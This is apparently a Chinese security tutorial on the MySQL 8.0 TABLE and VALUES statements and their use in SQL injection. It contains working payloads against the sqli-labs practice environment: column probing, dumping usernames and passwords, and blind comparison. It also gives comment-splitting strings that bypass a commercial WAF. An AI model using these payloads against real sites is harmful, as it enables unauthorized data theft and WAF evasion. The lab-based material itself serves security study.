0x01 MySQL 8.0环境搭建

在PHPstudy中支持的MySQL 8版本为8.0.12,但是实际利用到的新特性是在MySQL 8.0.19之后才出现的,因此需要自行搭建对应的MySQL环境。

这里就本地下载Windows最新版搭建,参考菜鸟教程进行Windows本地安装:https://www.runoob.com/mysql/mysql-install.html

接着,在my.ini文件中添加如下内容:

1
default_authentication_plugin=mysql_native_password

安装好运行登录之后需要修改密码:

1
2
alter user 'root'@'localhost' identified by 'root';
FLUSH PRIVILEGES;

最后重启MySQL服务即可:

1
2
net stop mysql
net start mysql

0x02 MySQL 8.0新特性

TABLE语句

用法简介

官方文档:https://dev.mysql.com/doc/refman/8.0/en/table.html

TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列。

用法:

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

TABLE与SELECT

TABLE语句在某些方面的行为类似于SELECT。给定存在一个名为的表t,以下两个语句将产生相同的输出:

1
2
TABLE t;
SELECT * FROM t;

比如:

TABLE和SELECT关键区别:

  • TABLE始终显示表的所有列;

  • TABLE不允许对行进行任意过滤,也就是说,TABLE不支持任何WHERE子句;

可以通过ORDER BY和LIMIT这两各关键字实现限制返回的表列来获取指定的行。

UNION联合查询替换

TABLE可以替换UNION SELECT结构,也可以和SELECT交叉使用,注意两个table的列数必须相同:

1
2
3
4
table security.users union table security.referers;
select * from security.users union select * from security.referers;
select * from security.users union table security.referers;
table security.users union select * from security.referers;

SELECT xx INTO OUTFILE替换

可以使用TABLE替换SELECT xx INTO OUTFILE的SELECT:

1
2
table security.users into outfile 'D:\\tmp\\dump.txt';
select * from security.users into outfile 'D:\\tmp\\dump.txt';

注意,在使用INTO OUTFILE语句的时候,MySQL会报错:

1
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

此时,输入如下sql查询语句:

1
2
3
4
5
6
7
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+
1 row in set, 1 warning (0.00 sec)

看到secure_file_priv的值为NULL,表示限制不能导入导出。

secure_file_priv参数用于限制LOAD DATASELECT xx INTO OUTFILELOAD_FILE()等:

  • NULL:表示限制mysqld不允许导入或导出;
  • /tmp:表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行;
  • 没有值:表示不限制mysqld在任意目录的导入导出;

又因为secure_file_priv参数是只读参数,不能使用set global命令修改。

正确的解决办法是在my.ini中添加如下配置,然后重启MySQL即可:

1
secure_file_priv=''

现在就没问题了:

SELECT xx INTO DUMPFILE替换

和前面OUTFILE是类似的,关键区别在于:

  • OUTFILE导出全部数据,DUMPFILE只能导出一行数据;
  • OUTFILE在将数据写到文件里时有特殊的格式转换,而DUMPFILE则保持原数据格式;

因此,在使用DUMPFILE时需要结合limit选定指定行:

1
table security.users limit 1 into dumpfile 'D:\\tmp\\dump.txt';

子查询替换

当子查询的表只有单列时,可以使用TABLE语句来替换SELECT进行子查询:

1
2
3
select * from security.users where username in (table security.vips);
select * from security.users where username in (select * from security.vips);
select * from security.users where username in (select name from security.vips);

INSERT xx SELECT替换

参考文档改下即可:

https://dev.mysql.com/doc/refman/8.0/en/insert-select.html

CREATE TABLE/VIEW xx SELECT替换

参考文档改下即可:

https://dev.mysql.com/doc/refman/8.0/en/create-table-select.html

https://dev.mysql.com/doc/refman/8.0/en/create-view.html

VALUES语句

用法简介

官方文档:https://dev.mysql.com/doc/refman/8.0/en/values.html

VALUES是MySQL 8.0.19中引入的DML语句,该语句返回一组一个或多个行作为表。换句话说,它是一个表值构造函数,还可以充当独立的SQL语句。

用法:

1
2
3
4
5
6
7
8
9
10
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]

row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]

value_list:
value[, value][, ...]

column_designator:
column_index

该语句由VALUES关键字组成,后跟一个或多个行构造函数的列表,以逗号分隔。行构造函数由ROW()行构造子句组成,该子句的值列表包含在括号中的一个或多个标量值。值可以是任何MySQL数据类型的文字,也可以是解析为标量值的表达式。

ROW()不能为空(但提供的每个标量值可以为NULL),并且在同一条VALUES语句中的每个语句的列的数量必须相同。

简单地说,VALUES语句可以用来构造表:

1
2
3
4
5
6
7
mysql> values row("q", 42, '2020-02-01'), row(23, "abc", 98.6), row(27.0002, "Mary Smith", '{"a": 10, "b": 25}') limit 2,1;
+----------+------------+--------------------+
| column_0 | column_1 | column_2 |
+----------+------------+--------------------+
| 27.0002 | Mary Smith | {"a": 10, "b": 25} |
+----------+------------+--------------------+
1 row in set (0.00 sec)

从输出表的列中看到,其中有隐含命名的列column_0、column_1、 column_2等等,索引从0开始,可使用limit输出指定行。其中的列可以是混合类型。

UNION联合查询替换

根据VALUES语句构造表的特性,可以和UNION联合查询中的SELECT语句进行交叉替换使用:

1
2
3
4
5
select * from security.users union select 1,2,3;
select * from security.users union values row(1,2,3);
select * from security.users union values row(1,2,3), row(4,5,6);
values row('a','b','c') union select * from security.users;
values row('a','b','c') union values row(1,2,3); // 可完全省略不用union

0x03 在SQL注入中的利用

由前面知道,TABLE和VALUES这两个语句可用于替换UNION联合查询中的SELECT进行查询,因此这部分新特性主要针对SELECT部分的过滤进行绕过利用。

这里以sqli-labs为例。

VALUES ROW()替换ORDER BY推测列数

推测列数无需ORDER BY,直接用VALUES语句即可:

1
2
?id=0' union values row(1,2)%23
?id=0' union values row(1,2,3)%23

UNION VALUES联合查询

应用UNION VALUES语句就能直接调用数据库内置函数查询对应的信息:

1
?id=0' union values row(1,user(),version())%23

可以结合concat系列函数进行利用:

1
?id=0' union values row(1,null,concat_ws(char(32,58,32),user(),database(),version()))%23

如果WAF仅仅是过滤UNION SELECT关键字,并没有对UNION VALUES后面添加SELECT进行过滤,那么可以像正常一样利用SELECT结合concat做子查询来dump库:

1
?id=0' union values row(1,null,(select group_concat(concat_ws(char(32,58,32),id,username,password)) from users))%23

当然,也可以组合TABLE语句进行查询,注意此时TABLE语句指定的表必须是只有一列且限制只能输出一行:

1
?id=0' union values row(1,null,(table vips limit 0,1))%23

UNION TABLE联合查询

使用UNION TABLE的时候,注意两个表的列数必须相同:

1
?id=0' union table referers limit 0,1%23

盲注

利用小于号会逐个比较一行中每一列值的大小来进行盲注,当然,除了小于号、其他比较符可自行构造,如下:

1
2
3
4
?id=0' or (1,'d','') < (table users limit 1)%23
?id=0' or (1,'e','') < (table users limit 1)%23
?id=0' or (1,'dumb','dumb') < (table users limit 1)%23
?id=0' or (1,'dumb','dumb') = (table users limit 1)%23

0x04 xx绕过

本地测试xx当前版本号为V4.0.23137。

用UNION SELECT妥妥的直接被拦截了:

使用UNION VALUES就能成功绕过:

使用UNION TABLE也能成功绕过,但要注意两个表的列数必须相同才行:

直接使用TABLE语句盲注查询,会被拦截:

关键的拦截特征在于将or与后面字符匹配到了,这里利用注释符的一个Trick来实现绕过:

1
?id=0' or/*!90000mmmmmmmm*/(1,'d','') < (table users limit 0,1)%23

盲注当然是OK的,就是注入过程比较慢,这里可以使用前面说到的UNION VALUES后面添加SELECT查询的方式来尝试,原payload当然会被拦截:

这里推测WAF过滤的关键点也是在于UNION之后以及SELECT之后的关键词正则匹配,要断开这种关键词匹配同样使用前面的Trick即可:

1
?id=0' union/*!90000mmmmmmmm*/values row(1,null,(select/*!90000mmmmmmmm*/group_concat(concat_ws(char(32,58,32),id,username,password)) from users))%23

OK,确实可以绕过xx。

0x0n 参考

TABLE Statement

VALUES Statement

MYSQL8.0注入新特性